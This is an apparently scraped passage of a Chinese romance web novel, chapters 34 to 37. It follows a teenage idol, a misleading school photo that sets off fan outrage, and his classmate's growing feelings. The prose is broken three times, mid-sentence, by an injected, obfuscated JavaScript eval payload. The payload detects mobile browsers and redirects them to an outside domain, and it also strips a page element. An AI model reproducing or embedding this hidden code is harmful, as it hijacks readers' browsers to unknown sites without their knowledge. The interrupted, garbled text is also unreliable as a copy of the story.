邬蒙突然怀念起以前他趴在课桌上睡觉的时候耳边总会响起笔尖划过纸张时发出的那种沙沙声。那声音有种令人安心的魔力,像是春天的细雨,连绵不绝,一直延伸进他的睡梦中。 他也总是会在半梦半醒间闻到她身上传来的那种若有似无的香味。应该是某种洗衣液的味道,干净清甜,带着阳光的味道。 一想到以后再也不能听着那种声音、闻着那种香味入睡了,邬蒙心里竟然觉得有一丝丝惋惜和遗憾。 他揉揉眼睛,只觉得自己的眼皮仿佛有千斤重。 这么睡下去也不是办法。毕竟桃姐让他来学校上学是来扮演一个阳光积极的高中生,而不是一个睡神。 邬蒙走出教室,去旁边开水房的水池冲了一个脸。 洗完脸,他拉开门正要走出来。 一个乌黑的脑袋直接迎面冲了进来。 还好邬蒙闪得快,不然就和对方撞了个正着。 “啊!不好意思!不好意思!”对方是一个穿着一中校服的女孩,见差点撞到了邬蒙,又惊又喜,一张脸羞得通红。 邬蒙不是傻子,自然能看到对方闪烁的眼睛和脸上跃跃欲试的神情。 类似的事情以前他在酒吧里当驻唱的时候就碰到过不少,更别说现在他还成了一个有了一点小名气的公众人物。 他看这些人就跟看透明人一样,小心思都看得明明白白。 邬蒙本来想黑脸,但想起经纪人桃姐的话,他只能硬生生挤出了一个笑,冲着女孩道:“没事。” 说完,他快步穿过走廊。 周围围了不少看热闹的同学,看见刚才开水房门口的那一幕,都开始尖叫起哄。 邬蒙有时候觉得这些人真是偶像剧看多了把脑子都看坏了,他心里无语,可面上只能保持着淡淡的笑容。 这一上午比邬蒙想象中的要难熬。 好不容易熬到中午放学。 桃姐打电话过来,说已经派了人来接他,要接他去做个造型。 邬蒙有些反感,问:“我现在就是一个普通高中生,在学校里待着上课要化什么妆做什么造型?” 电话那边,桃姐依旧是那种不容置疑的语气:“我查过课表了,你们下午有节体育课,到时候你的那些粉丝会去拍照,你不做造型,相机拍出来能好看?” 人靠衣装马靠鞍,就算是邬蒙这种现实生活中的顶级大帅哥,如果不做造型不化妆,素颜高清相机拍出来的照片放在网上那也是不够看的。 毕竟现在互联网上到处都是精修磨皮美颜过还要再套好几个滤镜的美照。 在如今这种大众审美阈值已经被无限拔高的年代,自然的、未经任何雕饰的美貌已经不能在互联网上激起太多水花。 邬蒙十分讨厌化妆,从在节目组的化妆室里第一次有人帮他化妆开始,他就很讨厌化妆。他讨厌人家拿着小刷子在他脸上刷些黏糊糊的液体,也讨厌人家拿着油腻腻的口红在他嘴巴上涂涂抹抹。邬蒙觉得每次化完妆他脸上就跟糊了一层浆糊似的,透不过来气,十分别扭。 但胳膊拧不过大腿,邬蒙只不过是桃姐手底下十几个小艺人中的其中一个,根本没有任何话语权。 中午他被拉到了一个私人造型工作室里做造型。 因为要突出邬蒙高中生的身份,精致的全妆明显不合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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作为曾经的同桌和“师徒”关系,这样实在显得有点太生疏了。 但中午放学的铃声一响,邬蒙就脚步匆匆地走出了教室。 辛蕴虽然失落,但也只能作罢。 下午上课,邬蒙踩着点到了教室,他进来的时候史振邦已经站在讲台上了。 辛蕴不敢回头,更不敢有什么小动作。 她本来想着下课的时候给邬蒙发一条消息。 但这节课史振邦严重拖堂,一直讲到下一节课的上课铃声响起,他这才慢悠悠地拿着课本走出了教室。 史振邦前脚刚走,数学老师后脚就抱着一沓试卷迈了进来。在全班同学绝望的哀嚎声中,他推了推鼻梁上的眼镜,淡定地说:“接下来的两节课我们进行一次随堂考。” 底下的哀嚎声更加惨烈了。 试卷很快就传了下来。 辛蕴只能收回心思专心考试。 今天下午的最后一节课是体育课。 或许也是体谅大家刚刚经受过摧残,今天体育老师终于没有再“生病”。上课铃声一响,体育委员就站上讲台催促大家赶紧下楼去操场上集合。 班里的同学跑得飞快,生怕晚了一步就被按在教室里强行上自习。 辛蕴转头看了一眼邬蒙,他正低头拿着手机发消息,从她的角度能看到他微微皱起的眉头,看样子似乎有些不耐烦。 他在烦什么?是有什么心事吗? “走吧,我们一起。”黄丽君走过来催促辛蕴。 辛蕴回过神,点点头,站起来跟在黄丽君身后走出了教室。 今天外面的太阳很大,好在已经接近傍晚了,温度不算太高。 “待会儿肯定又要跑步,烦死了,不过跑步总比考试好,刚才那两道大题简直写得我两眼一黑,感觉这次可能又要不及格,数学老师太变态了,他出的题简直不是人做的。”黄丽君抱怨道。 辛蕴安慰她说:“待会儿跑完了我们去超市里买冷饮,我请客,怎么样?” “好耶!”黄丽君蹦了起来,抱着辛蕴的胳膊晃来晃去:“你真好!蕴蕴,你对我真好!” 两人顶着太阳一边聊天一边跟在人群后面往操场的方向走。 刚走到操场上。 前面不知道是谁喊了一声。 “看!你们看那边围了一圈人!” 35. 第 35 章 辛蕴抬头去看—— 果然看到不远处操场栏杆的外围站着一圈人。 这些人基本上全都是二十岁左右的女生,打扮得很时髦,手里拿着套着亮晶晶的手机壳的手机和看起来就很昂贵的相机,手腕上全都缠着紫色的丝带,有几个女孩手里还拿着手幅和镭射卡,正一脸激动地看着这边。 “我靠!那些人是邬蒙的粉丝吧!”黄丽君凑到辛蕴耳边小声问道。 距离有些远,辛蕴无法分辨出那些手幅上的字,但一中能引起这个动静的人,除了邬蒙之外,肯定没有别人了。 她点点头,说:“看起来应该是。” 黄丽君连啧了两声,说:“真有钱呐,我看她们手里拿着的那些相机每一个都要好几万吧。” 辛蕴没有多说什么,跟着大家往跑道的方向走。 三班的体育老师早就等在那里了,见他们走路无精打采,列队也列得松松散散,有些看不惯,中气十足地喊道:“快点,都快点站好!一群十几岁的小伙子小姑娘,怎么像被抽了筋的软脚虾一样?” “向老师,我们刚刚才考完试。”有人拉长了声音抱怨。 “向老师,今天少跑一圈吧。”也有人合起双掌哀求。 “对啊,老师,今天太阳这么大,跑步很容易中暑的。”还有人壮着胆子“恐吓”。 “才跑个两三圈你们就中暑了?再说现在都九月份了,马上就要入秋了,中什么暑?”体育老师根本不吃这一套,他扭头去催促那些还在往跑道这边走的学生:“怎么动作慢吞吞的?快点!跑起来!” 辛蕴的视线跟着众人一起看向了操场入口处。 几个学生正懒洋洋地朝这边走过来。 她一眼就看到了邬蒙。 他个子很高,估计接近一米九,即使走在最后面还是露出了半个脑袋,看起来十分惹眼。 夏天已经过去了,但阳光依旧炙热,操场旁边的那棵香樟树在风中摇晃着茂密葱郁的绿叶,发出簌簌的声响。 砖红色的跑道被日光晒得微微发烫,观众席上的一排排蓝色座椅散发着洁净透亮的光彩,在主席台后面那一片白墙的映衬下像是一层层翻起来的海浪,跑道中央圈起来的足球场上铺着翠绿柔软的草皮。周围的一切都显得那么生动,像是一张笔触干净、色彩饱满的漫画。 等到前面的人都散开了,邬蒙的脸完全暴露在阳光中的那一秒,辛蕴的心倏然漏跳了一拍。 围栏外面的那些粉丝瞬间爆发出了一阵尖叫声。 “邬蒙!邬蒙!邬蒙!” “阿蒙!!!看这里!!!” “阿蒙姐姐爱你!阿蒙姐姐爱你!!!” 周围的一切瞬间褪去了所有颜色,沦为了苍白黯淡的背景板。那一刻辛蕴好像只能听见自己猛烈的心跳声和栏杆外那些粉丝发出的忽远忽近的呐喊和尖叫声。 伴随着这些尖叫和呐喊声,栏杆那边还响起了一阵连绵不绝的快门按动声,噼里啪啦,简直和放鞭炮一样。 黄丽君在旁边小声嘀咕:“那些粉丝也太夸张了吧,知道的是我们在上体育课,不知道的还以为邬蒙在开粉丝见面会呢。” 辛蕴回过神来,她看见邬蒙抬脚朝这边走了过来,站在了队伍末尾。 他现在这模样好像和今天上午有点不太一样,但辛蕴也说不上来是具体哪里不一样。总之现在的邬蒙简直和她在手机屏幕里看到的那个少年主唱一样,虽然还是一副高中生的模样,但身上明显有着属于明星的距离感和疏离感。 体育老师应该是也没见过这阵仗,他看了一眼站在围栏外的那些粉丝,又看了一眼站在后面的邬蒙,清了清嗓子,说:“老规矩,男生四圈,女生三圈。” 底下一片哀嚎。 体育老师铁面无私,直接走到一旁,拿起挂在脖子上的口哨,喊道:“准备。” 大家只能不情愿地走到起跑线站定。 一声哨响,“开始!” 所有同学开始顶着太阳绕着操场跑步。 经过粉丝聚集的栏杆附近的时候,有个班里平时比较跳脱的男生朝那边的粉丝喊了一声:“哟,小姐姐们站在这里晒太阳不热啊?要不要我把邬蒙叫过来给你们打声招呼?” 听到这话,前后几个男生一边跑步一边笑着起哄。 “哟,胡立峰你这么会做好人呢?我看你改名叫‘活雷锋’好了哈哈!” “‘活雷锋’这是想当媒人了。” “你们别乱说,人家胡立峰就是看这些美女站在这里太辛苦了想帮帮她们而已,你说是吧,‘活雷锋’?” 邬蒙站在队伍最后面,前排的人已经跑了小半圈了,他还站在起跑线前面没动。 不知道是不是因为离得远没听见,还是他故意装作没听到。辛蕴转头去看的时候,邬蒙的脸上并没有任何表情。 邬蒙的那些粉丝性格很开朗,大大咧咧地冲着那个叫胡立峰的男生开玩笑说:“‘活雷锋’,你要是真的能把邬蒙喊过来,我们就请你们所有人喝水!” 胡立峰不过打打嘴炮,他跟邬蒙虽然说得上话,但交情并不深,听到这话,他吐了吐舌头耸耸肩一溜烟跑远了。 “别走啊,‘活雷锋’小哥哥,你怎么走了?”身后传来了那些粉丝的嘲笑声。 跟在后面的其他几个男生也笑出了声,夹在里面起哄说:“哎,胡立峰,人家小姐姐说要请我们喝水的,你怎么一个人先跑了?” “别走啊,‘活雷锋’,你不是说要把邬蒙喊过来的吗?” 还有人转头冲着后面的邬蒙开玩笑地喊道—— “跑快点,这里有一群美女等着你呢。” “你快过来跟你的粉丝打声招呼,她们都快站成望夫石了哈哈!” 邬蒙没理会这些声音,低头保持着匀速慢跑。 辛蕴收回了目光,继续埋头向前跑,她身材纤细,跑起来很轻盈,所以还算轻松。 但旁边的黄丽君明显已经快不行了,跑完第二圈,她额前的刘海完全被汗水浸湿,一边跑一边呼哧呼哧地喘着气,没跑几步,她停了下来,双手撑住膝盖,抬头看着辛蕴,喘着粗气说:“我……我不行了。” 辛蕴鼓励她,说:“坚持跑完,就只剩下一圈了,老师说过不能跑到中途突然停下来,对身体不好。而且向老师还看着呢,小心待会儿他再罚你多跑一圈。” 黄丽君飞快地瞥了一眼站在终点线旁边的体育老师,眼珠子一转,回头冲辛蕴眨了一下眼睛,然后猫着腰偷偷摸摸地穿过中间的草坪朝对面的跑道飞奔过去。 那矫健的身姿哪还有半点刚才半死不活的样子? 辛蕴愣了一下,有些好笑地摇了摇头。 黄丽君在对面的跑道站稳,见体育老师没发现,她十分得意地冲辛蕴招招手,示意她赶紧也这样抄近道过来。 但辛蕴只是冲她摆了摆手,沿着跑道内圈继续往前跑。 这时身后又响起一阵快门声。一声紧过一声,像是要举行什么比赛似的。 她正要回头去看。 耳边却传来一个低低的声音—— “不要回头,她们在拍。” 是邬蒙的声音。 辛蕴扭头的动作顿时僵住了,她的心几乎要跳出了嗓子眼,但身体却很听话地继续目视前方,保持着匀速慢跑。 此刻是下午五点多,太阳已经西斜,柔和的日光落在两人身上,将他们的影子一长一短地映在跑道上。 看着跑道上挨得很近的两道影子,辛蕴的呼吸一下子乱了节奏,脚步也变得慌乱,速度一下慢了下来。 不知道是不是因为最后一圈的关系,邬蒙的速度也明显慢了下来,他不紧不慢地跟在她的斜后方。 两人的距离很近,近到辛蕴几乎能听见邬蒙的心跳声。 但其实她也分不清那到底是他的心跳声还是她自己的心跳声。 明明他们只是在一前一后地跑着步,可或许是运动促使了她的多巴胺飞快地分泌,又或许是耳边传来了邬蒙有些粗重的呼吸声,辛蕴竟然觉得气氛有些令人脸热的暧昧。 汗水顺着辛蕴的脊背往下流,打湿了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这次回南城之前桃姐又叮嘱了一遍,还特地交代了邬蒙,说他现在在乐队里人气最高,粉丝群体多以年轻女性为主,粉圈战斗力很强,这次回校他千万要和学校里的女同学保持距离,不然一旦被粉丝或者路人拍到一些暧昧的照片,不仅会引起粉圈动荡,到时候公司为他们打造的正面形象也会受到影响。 “刚才工作室的舆情监控人员在你的微博广场上看到了这张照片!现在你的很多粉丝也都看到了这张照片!她们已经开始在讨论这件事了!到时候倒霉的不仅是你,还有这个女孩!你的粉丝会把这个女孩扒得底朝天的!你知道吗?!” 像是一块巨石突然压住了邬蒙的胸口,他的心一下子变得沉甸甸的。 手机震动了一下。 邬蒙的心一颤,低头去看—— 微信跳出来一条消息,是桃姐发来的一张照片。 他屏住呼吸点进去。 看到那张照片的一瞬间。 邬蒙一愣,紧接着,他整个人放松了下来,重新躺了回去。 “这是别人偷拍的错位照,我根本不认识那个女生。”他懒洋洋地说。 “偷拍的错位照?别人可不管你是不是错位照,营销号只会添油加醋地乱发一通,到时候我们还要再找号找人去澄清这件事,又是一大笔营销费!”桃姐的声音充满了怒火:“你要是记住了我的话,跟你的那些女同学保持距离,是不是就不会被人拍到这张照片?不被拍到这张照片是不是就不会有风言风语传出来?没有风言风语传出来我们公司也不用花钱去给你澄清……” 邬蒙把手机扔在枕边,翻了个身闭上眼睛继续睡。 亮着的手机屏幕上是一张抓拍的照片。 人来人往的走廊里,穿着校服的少男少女相视而笑,气氛暧昧,身后的同学们看着两人起哄大笑,背景是一个校园的开水间,走廊外探进来的玉兰树枝叶郁郁青青。 青春年少,风华正茂,无限美好。 36. 第 36 章 辛蕴同样是在一个半梦半醒的状态下看到那张照片的。 那天早上她被手机的闹钟叫醒,翻了一个身,按掉闹钟,睡眼惺忪地打开微博去搜邬蒙的名字。 在各种社交软件上去搜邬蒙的名字,这仿佛已经成了辛蕴每天早上都要固定完成的某种起床仪式。她给自己找的理由是——刚好可以借着这十几分钟的时间醒醒神。 辛蕴熟练地点开每个和邬蒙有关的超话,飞速地浏览一遍超话,她又点开了几个超话大粉的微博。 辛蕴手指飞速划过屏幕,因为困倦半眯着的双眼突然捕捉到了一张照片,她整个人愣了一下,一瞬间,脑中残留的睡意一下子消散了干净。 辛蕴坐了起来,看着虚空处愣了几秒钟,等大脑完全清醒后,她点开了那条微博。 一个账号发了一张邬蒙和一个女学生的“甜蜜合照”,邬蒙的大粉转发了这条微博,配文只有一连串的“?????”。大粉把这条转发微博设置了“仅粉丝可见”,虽然现在是早上七点半,但底下的评论区已经炸开了锅。 【什么情况???】 【……】 【不是说没女朋友吗……】 【哪里来的照片?原博是他女朋友?】 【真服了,刚回学校就出这事,还想不想出道了……】 辛蕴点进那张照片。 看着照片里少年男女“甜蜜对视”的模样,一种难以言喻的酸涩感从四肢百骸蔓延开来。 但理智告诉她,这只是一张抓拍的错位照。 辛蕴当时亲眼目睹了开水房前发生的一切,她很清楚邬蒙和照片里的这个女生根本没有任何超过同学之外的关系。 可或许是因为这张照片所营造出来的初恋氛围感实在太美好太真切了,因为过于美好,反而生出了一种强烈的真实感和冲击感。 辛蕴看着那张照片,有些魂不守舍,直到吴咏梅推门进来喊她,她才如梦初醒。 “睡过头了?”吴咏梅问。 辛蕴没说话,飞快地把手机塞进枕头下,快速起床洗漱。 吃早餐的时候,吴咏梅瞥见她脸色不对劲,问:“不舒服?” 辛蕴摇摇头,她三两口吃完了早餐,拿起书包就出门了。 去一中的路上,辛蕴又点开了微博。 或许是现在时间还早,那张照片还没有扩散开,超话里暂时还是风平浪静。 她点开发出那张照片的原博,那个微博账号里只有一些简单的歌曲分享,没有任何其他内容,看IP地址是本省人。 辛蕴的视线落在那个账号的头像上,定了几秒钟,她按灭了手机屏幕。 到了学校,早读课的铃声刚刚敲响,她扭头看了一眼教室后排。 邬蒙还没来。 一整节早读课辛蕴都有些心不在焉。 好不容易熬到下课铃声敲响,她再次点开那个大粉的微博。 早上那条转发微博底下的评论区只有几十条评论,现在却爆涨到了一千多条。 辛蕴的心一紧,点进去看,发现评论区粉丝的情绪已经开始有点不对劲了。 【我靠,昨天我还在辛辛苦苦顶着大太阳给他搞应援,今天早上就看到他甜甜蜜蜜地看着另一个女生?我真是无话可说……】 【之前节目组开玩笑问他有没有女朋友,他当时还装得很纯情说没有,我真受够内娱这些男的了,老的是这样,小的也是这样,不谈恋爱会死吗?】 【没出道就搞男女关系,不糊就怪了,没那个命火吧,真是可惜了他的那张脸了。】 【哎,大家都冷静一点吧,弟弟现在年纪还小,在学校里碰到喜欢的女生也很正常啊。】 【正常个屁!他要想吃这碗饭就要有这个自觉!我们是追星又不是做慈善,反正以后后援会的活动我再也不会参加了,以后不会给男明星花一分钱,嘻嘻。】 看着那些情绪激动的评论,辛蕴的心情十分复杂,她想了想,在评论区打下一行—— 【只是一张错位照片而已,他们俩根本不是男女朋友关系,先别着急,看看邬蒙自己怎么说,他会给大家一个说法的,我相信他。】 很快就有粉丝看到了这条评论,有人赞同她给她点赞,也有人反驳道—— 【你又知道了?你凭什么说他们俩不是男女朋友关系?邬蒙亲口告诉你的?他到时候肯定会否认啊,他又不傻。这些男明星真是又当又立又没有担当!】 【姐妹,追星不要追得失去自我了,你看他们俩甜蜜对视的那个氛围还有周围人起哄的样子!他们俩要是没有关系那就真是有鬼了!】 辛蕴自认情绪还算稳定,此刻看着这些评论竟然还是克制不住有些生气,她皱着眉,一字一句地回复道——【我就是知道。】 按下发送键,辛蕴退出了微博的界面,点开微信,想要给邬蒙发条消息关心一下,可刚点开对话框,动作又顿住了。 这件事暂时还没有在社交平台蔓延开,如果她现在去问他,岂不是暴露了她一直在偷偷关注他的事实? 辛蕴犹豫几秒钟,还是放弃了这个想法。 小七一如既往地准时发来消息——【你看到微博上的那张照片了吗?邬蒙不会真的谈恋爱了吧?(哭)】 辛蕴这次回复得相当及时相当认真:【没有,当时我就在现场,邬蒙去洗脸,从开水间出来的时候一个女生刚好要推门进去,两人就打了一个照面,那张照片只是错位。】 小七飞快地回道:【原来是这样!太好了!吓死我了!】 过了一会儿,她又发过来一条:【那张照片肯定是那个女生自己发的!说不定照片也是她找人偷拍的!真是心机!】 辛蕴没有回复,她按灭了手机屏幕。 一上午邬蒙都没有再出现在学校。 到了下午,班上有些同学开始在讨论这件事。 “不是吧,你们看到微博上的那张照片了吗?邬蒙不会真的跟九班那女的在谈吧?” “那女生叫什么来着?王诗涵?之前不是有人传她跟他们班的男生在谈恋爱吗?怎么又跟邬蒙搞在一起了?” “不对啊,这张照片是错位吧,我当时看到了,他们俩根本没离得这么近,邬蒙从开水房里出来,王诗涵故意往他身上撞,邬蒙连话都没有跟她说一句,怎么就传成两人在谈恋爱了?” 就连他们班上的同学都在讨论这件事,更别提微博上的那些粉丝了。 邬蒙的超话已经乱成了一锅粥,辛蕴观察了一下,现在他的粉丝大概分成了三派—— 一派是坚持站在邬蒙这边的,认为他不可能欺骗粉丝,她们在邬蒙的微博底下疯狂地留言,让他出来澄清。 另一派是情绪激动嚷着要脱粉的,有人黑头像,有人写小作文,也有人回踩谩骂。 还有一派大概是铁血妈妈粉,她们认为就算邬蒙真的谈恋爱了也没什么,并且劝其他粉丝也要像她们一样大度,不要过度放大这件事。 辛蕴开始有些坐不住了,她反复点开微信里邬蒙的对话框。 为什么邬蒙还不澄清?再这样下去粉丝的情绪就要控制不住了。身为一个新人,他好不容易才有点粉丝基础,眼看着就要出道,难道现在就要因为这一张莫名其妙的照片全都功亏一篑了? 当事人邬蒙那边倒是稳如老狗,辛蕴反而急得像是热锅上的蚂蚁。 她实在忍不住,给对方发过去一句—— 【你看到微博上的那张照片了吗?】 过了两分钟,对方回过来一句—— 【哈哈,没事。】 没事? 这是什么意思? 辛蕴盯着那四个字看了许久,心里突然腾起一股怒气来。 她今天一整天心里都悬着这件事,坐立不安,十分煎熬。 他自己倒是淡定得很,好像根本不在乎。 辛蕴恨恨地按灭手机屏幕。 算了,她才不要狗拿耗子多管闲事呢。 他当不成明星就算了,他当不成明星才好呢,这样就不会天南海北地到处跑了,也不会有那么多的女孩子喜欢他了。 就这么到了晚上七点左右。 邬蒙竟然上了微博热搜。 先是“邬蒙脱粉”、“邬蒙粉丝”、“邬蒙谈恋爱”几个相关词条上了热搜后排,过了半小时,这些词条竟然爬到了热搜前排。 辛蕴点进去,除了热门上几个营销号发了那张照片之外,她还看到热搜广场上有很多路人在问邬蒙是谁,还有人出言讽刺“现在真是什么阿猫阿狗都能上热搜了”。 辛蕴心里又急又气,索性眼不见为净,关掉了手机。 又过了半小时,她实在坐不住,又打开了手机,刚点开微博上的那个粉丝群,就看到有人在发—— 【阿蒙发微博了!!!】 辛蕴手一僵,心跳得飞快。 她赶紧点进邬蒙的微博,看到他果然在一分钟之前发了一条微博。 那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832057|175609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一张他的自拍照,照片上他看着镜子里的自己做了一个酷酷的表情,配文是——【没谈恋爱,假的。】 辛蕴又点进评论区,看到邬蒙在评论区补充了一句——【我年纪还小,暂时没有恋爱的打算哈。】 前排粉丝全都在欢呼,语气激动又委屈—— 【你总算发微博啦!(大哭)】 【宝宝在学校好好学习哦,不要管外面这些乱七八糟的事情!】 【别搞(哭)!一个还没成年的高中生到底挡了谁的路?又是上热搜又是黑粉控评,放过我们小作坊出来的高中生乐队吧!!!(哭)】 【别理他们!我们永远相信你!!!】 辛蕴松了一口气,一颗心总算暂时落了地。 她的目光落在邬蒙发的那句评论上,不知道怎么的,心里又涌起一股说不上来的滋味。 有了邬蒙的澄清,他的粉丝也有了底气,开始在各大营销号的评论区里用邬蒙刚才发的那条微博截图控评—— 【假的,散了吧。】 【黑子来得比粉丝还快哈,可惜光速被打脸!】 【对家别搞了,我们邬蒙还是一个在校高中生,造谣未成年真不怕遭报应呢。】 【谈个屁恋爱!只要男的女的对视一眼就是谈恋爱了?那以后大家出门都把眼珠子挖了吧,毕竟一不小心和别人对视了就是谈恋爱了呢!】 在那个评论区里,辛蕴看到了不少眼熟的账号,有几个甚至今天下午还在超话里闹着要脱粉,没想到转眼就加入了保卫邬蒙的战斗。 辛蕴看得有些傻眼,甚至觉得有些神奇。 邬蒙只是发了一张自拍,虽然否认了自己在谈恋爱,但他并没有拿出任何证据,只是简单地说了一句“没有”、“假的”,甚至还没有辛蕴给小七发的那些话详细。他的粉丝就这么被哄好了? 到了晚上八点钟,《热血音浪》这个节目播出了最新一期,邬蒙所在的“放学后作战”这支乐队在这轮淘汰赛里表现优异,尤其是身兼主唱和吉他手两项的邬蒙在这次表演中十分抢眼,这次选曲也十分契合他的气质,舞台上那个少年气十足的高中生主唱一下子引爆了现场和屏幕前观众的情绪。 超话里的粉丝情绪也越发高涨,她们借着热搜的机会疯狂在热搜广场上安利邬蒙。 有了节目和热搜的双重加持,到了晚上十点钟,辛蕴看到邬蒙的粉丝涨了十多万。 这时候又有营销号放出了一组照片,配文是——【粉丝拍的上体育课的邬蒙,咋样?】 照片上穿着校服的邬蒙正绕着绿茵场跑步,他的头发干净利落,五官立体,整个人就像是从漫画里走出来似的。其中有一张照片,邬蒙大概是跑完了步站在跑道边休息,他一边和身旁的同学聊天,一边笑着朝镜头方向招手,手里还拿着一瓶喝了一半的矿泉水瓶。夕阳柔和的光落在少年脸上,那种干净澄澈又张扬明媚的气息扑面而来。 哪怕辛蕴曾经和邬蒙做了一个学期的同桌,此刻看到这张照片,她还是控制不住地再次被这张脸惊艳到了。 这条微博很快就上了热门,吸引了很多路人的关注,很多人在底下评论—— 【我勒个去,这谁?真帅!】 【这种才是真正的少年气!以后内娱那些老帮菜就别再吹少年气了,看看人家真正的高中生弟弟吧!】 【老阿姨看一眼都觉得是罪过啊!太帅了吧!!!!】 【我靠!内娱又进新货了?这款我真爱了!!!】 热搜广场上,有很多粉丝拿着这组照片安利路人。 甚至就连之前被偷拍的那张错位照片也被粉丝拿来安利,她们把照片上的女孩截掉,只留下邬蒙微笑着的半边侧脸。 照片上,他微微低头,嘴角的弧度浅浅上扬,眼神既深邃又温柔。比起刚才在操场那组照片里的张扬气质,这张偷拍照片上的邬蒙反而更加有魅力,浑身上下都散发着一种让人很容易沦陷进去的恋爱氛围。 辛蕴盯着那张照片,明明知道照片里邬蒙看的是另一个陌生的女孩,她还是忍不住为那样的眼神所触动。 她的心情又酸又涩。 一场风波总算是过去了。 辛蕴强迫自己稳定心神继续自习。 晚自习放学,回家的路上,她的手机突然震动了一下。 低头去看。 辛蕴愣了一下。 邬蒙发过来一条微信消息。 他问她——【出来吃夜宵吗?】 37. 第 37 章 见面的地点约在了一家烧烤店。 辛蕴赶过去的时候店里还有好几桌客人没散,喝酒的喝酒,聊天的聊天,看起来很热闹。 她站在门口,环视了一眼店内。 邬蒙戴着鸭舌帽坐在角落里的一张桌子旁,看到辛蕴进来,他抬了一下帽檐,露出一双弯弯的笑眼。 “这边。”他抬高了声音冲她挥手。 辛蕴快步走过去,先打量了一眼四周,见没有人注意到这边,这才小声地开口说:“你胆子真大,不怕别人认出来啊。” 邬蒙笑着帮她倒水,“你怎么比我还小心?”他把那杯温水推到她手边,说:“我又不是什么天王巨星,不会轻易被人认出来的。” 或许是隔着屏幕看那张脸久了,此刻面对面坐着,反而有种陌生感。辛蕴避开了邬蒙的视线,低头拿起那杯水,喝了一口,轻声问:“你找我有事吗?” 邬蒙挑挑眉:“好久不见,不能只是单纯叙个旧?”他语气熟络自然,仿佛两人只是许久没见的朋友。 辛蕴却不如以往淡定,抬头对上对方含笑的一双眼睛,她只觉得一颗心跳得飞快,几乎要从嗓子眼里跳出来。 前两天邬蒙刚回来的时候辛蕴总想着要是能和对方吃上一顿饭就好了。这样她就可以听他讲讲这个夏天的经历,可以大大方方地去恭喜他,还可以跟他分享一下这个过去的夏天里她做了什么事情。 可现在当辛蕴真的跟邬蒙面对面坐在一起的时候,她反而生出了一种局促不安的感觉,甚至有些手足无措。 辛蕴知道这种感觉从何而来—— 大概是过去的这个夏天里邬蒙从她的现实生活中消失太久了,她习惯了在互联网上去搜索他的信息,这些日子更是一不小心打入了他的粉圈内部。比起当邬蒙的同学和朋友,辛蕴现在已经更习惯去当他的粉丝。 粉丝总是不自觉地去“仰望”偶像,在偶像面前也总是有一种天然的弱势感。 辛蕴想要努力地克服这种“仰望”所带来的弱势感。 “这几天一直想找个机会对你说句‘恭喜’。”她尽量控制住自己的情绪,面色平静地举起面前的那杯水,抬头与邬蒙对视,笑着说:“恭喜啊,大明星,你在节目里表现得很棒。” 烧烤店整洁明亮,头顶的那盏日光灯将室内照得亮堂堂的。 邬蒙的目光落在辛蕴的脸上,一和他的视线对上,她双颊绯红,眼神闪烁,在灯光下亮晶晶的,像是有什么晶莹的液体要从那双黑曜石一样的眼眸里流淌出来似的。 他在那双漂亮的眼睛里看到了一丝懊恼和一丝摇摇欲坠的淡定,这些复杂的情绪让女孩的神情看起来像是一个下一秒就要坠落的玻璃樽,有种坚韧和破碎共存的美感。 邬蒙及时收回目光,低头浅浅微笑,轻声道了一句:“谢谢。” 那种被注视所带来的压迫感消失了,辛蕴的眼睫颤了颤,放在膝盖上的手微微放松,她冲对面的邬蒙露出一个浅浅的微笑,仰头喝完了他给她倒的那杯水。 菜很快端了上来。 邬蒙应该是没有吃晚饭,一口气吃下了一大碗米饭,这才抽出空和辛蕴聊天。 辛蕴打趣他:“你们艺人不用节食?” 邬蒙浑不在意,用开玩笑的语气说:“总不能不吃饭吧,再说了,我还在长身体呢。”他一边说话一边又拿起一个鸭头。 辛蕴的目光落在那个鸭头上。 邬蒙抬眼看她,问:“怎么了?你要吃吗?”他示意她去拿盘子里剩下的鸭头。 辛蕴连忙摇摇头,说:“不用了,我吃不惯。”她一副欲言又止的模样:“我觉得鸭头这个东西好奇怪。” 邬蒙睁大眼睛,有些好笑地问:“怎么奇怪了?鸭头多好吃啊,你竟然不喜欢?”他把手里的那个鸭头递给她,说:“你尝尝看,这家鸭头卤得可入味了。” 辛蕴的头摇得像拨浪鼓:“我不要。”在饮食方面辛蕴几乎有些刻板,她从小就不爱吃常规肉类之外的东西。比如她可以吃牛肉,但坚决不吃牛舌和牛尾巴。再比如她可以吃鸡肉,但一听到人家说要吃鸡头和鸡心,她就会全身起鸡皮疙瘩。 见辛蕴态度坚决,邬蒙也不强求,他收回手里的鸭头,咬了一口,语气有些夸张地感叹道:“真好吃,在杭城的时候就想这一口。” 辛蕴知道他这是故意在馋她,抿了抿唇,说:“吃一个动物的头,你不觉得很奇怪吗?而且又吃不出来什么东西,都是一堆骨头。” 邬蒙显然不赞同她这个说法:“吃鸭头就是吃味道啊,鸭头最好吃的部分就是里面的脑子了,一口咬下去,你都不知道有多嫩,跟嫩豆腐一样。” 辛蕴被他说得头皮发麻,连忙拿起桌上的杯子喝了一口饮料。 她越是这样,邬蒙却偏偏越想要逗她。 